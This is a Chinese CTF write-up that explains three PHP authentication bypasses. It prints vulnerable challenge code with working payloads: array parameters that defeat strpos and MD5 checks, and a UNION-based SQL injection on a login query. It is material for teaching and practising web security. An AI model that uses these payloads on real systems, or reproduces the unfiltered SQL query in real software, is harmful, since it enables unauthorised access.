strpos数组绕过,密码MD5比较绕过,MD5函数===绕过

一、strpos数组绕过NULL

<?php

$flag = "flag";

    if (isset ($_GET['nctf'])) {
        if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
            echo '必须输入数字才行';
        else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)   
            die('Flag: '.$flag);
        else
            echo '骚年,继续努力吧啊~';
    }

 ?>

定义和用法
strpos() 函数查找字符串在另一字符串中第一次出现的位置。

它不能对数组处理,如果是数组则返回null,null,也就不等于FALSE.
payload为?nctf[]=1

二、密码md5比较绕过

<?php

if($_POST[user] && $_POST[pass]) {
   mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $user = $_POST[user];
  $pass = md5($_POST[pass]);
  $query = @mysql_fetch_array(mysql_query("select pw from ctf where user=' $user '"));
  if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {


echo “

Logged in! Key: ntcf{**}

“;
}
else {
echo(“

Log in failure!

“);
}
}

?>

审计源码可知,要想得到flag,只需要同时满足

($query[pw]) && (!strcasecmp($pass, $query[pw]))

$user变量我们是可以控制的,然后又没有任何过滤措施
我们就可以直接利用这个语句选择一个相应的密码给对应的pw

如果前面的用户名不存在的话
mysql_fetch_array(mysql_query(“select pw from ctf where user=’$user’”));
取到的东西就是空,然后在加上我们的md5密码,就可以实现成功登陆

strcasecmp函数,比较2个字符串,不区分大小写。如果2个字符串大小相等就返回0。

最后payload
user=1’ union select md5(1)%23&pass=1

三、MD5函数===绕过

<?php
error_reporting(0);
$flag = 'flag{test}';
if (isset($_GET['username']) and isset($_GET['password'])) {
    if ($_GET['username'] == $_GET['password'])
        print 'Your password can not be your username.';
    else if (md5($_GET['username']) === md5($_GET['password']))
        die('Flag: '.$flag);
    else
        print 'Invalid password';
}
?>

由于md5解析不了数组,返回空。

payload:?username[]=1&password[]=2

0%